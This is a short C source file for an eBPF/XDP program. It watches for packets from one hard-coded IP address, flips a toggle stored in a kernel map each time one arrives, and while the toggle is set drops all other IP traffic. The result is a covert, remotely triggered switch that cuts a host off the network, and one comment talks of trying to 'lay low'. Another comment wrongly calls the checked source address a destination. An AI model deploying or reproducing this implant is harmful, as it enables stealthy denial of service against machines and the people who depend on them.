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#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/if_ether.h>
#include <linux/in.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/tcp.h>
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__type(key, __u32);
__type(value, __u32);
__uint(max_entries, 1);
} status SEC(".maps");
SEC("xdpentry")
int entry(struct xdp_md *ctx) {
// Prepare some data structures
__u32 *rec;
__u32 key = 0;
void *data_end = (void *)(long)ctx->data_end;
void *data = (void *)(long)ctx->data;
struct ethhdr *eth = data;
rec = bpf_map_lookup_elem(&status, &key); // Lookup current packet status from kernel map
if (!rec) {
return XDP_DROP; // try to lay low on error
}
//bpf_printk("Rec: %u", *rec); // Debug prints
if ((*rec != 55) && (*rec != 56)) {
// First run check
// bpf_printk("Resetting rec!"); // Debug Prints
*rec = 56; // set default value for map
}
if (eth + 1 > data_end) // Bounds checking for xdp preverifier
return XDP_PASS; // This should never run normally
/** if(eth->h_proto != ETH_P_IP) {
return XDP_PASS; // don't kill layer 2 traffic
} **/
struct iphdr *iph = data + sizeof(struct ethhdr);
if (iph + 1 > data_end) // More bounds checking
return XDP_PASS; // This should never run either
//
__u32 ip_src = iph->saddr; // grab source address of packet
// bpf_printk("Incoming packet: %u\n", ip_src); // Debug print
// Determine if we need to further process this packet
if (ip_src == 1946091487) {
// This packet had a destination of 223.255.254.115, do something!
// bpf_printk("Got it!, setting rec..."); // Debug print
switch (*rec) {
case 55 :
*rec = 56;
break;
case 56 :
*rec = 55;
break;
}
return XDP_DROP;
}
else if (ip_src == 0) {
// most likely a layer 2 packet, let it thru
return XDP_PASS;
}
// Finish processing
if (*rec == 55) {
return XDP_DROP;
} else {
return XDP_PASS;
}
}
char _license[] SEC("license")= "GPL";
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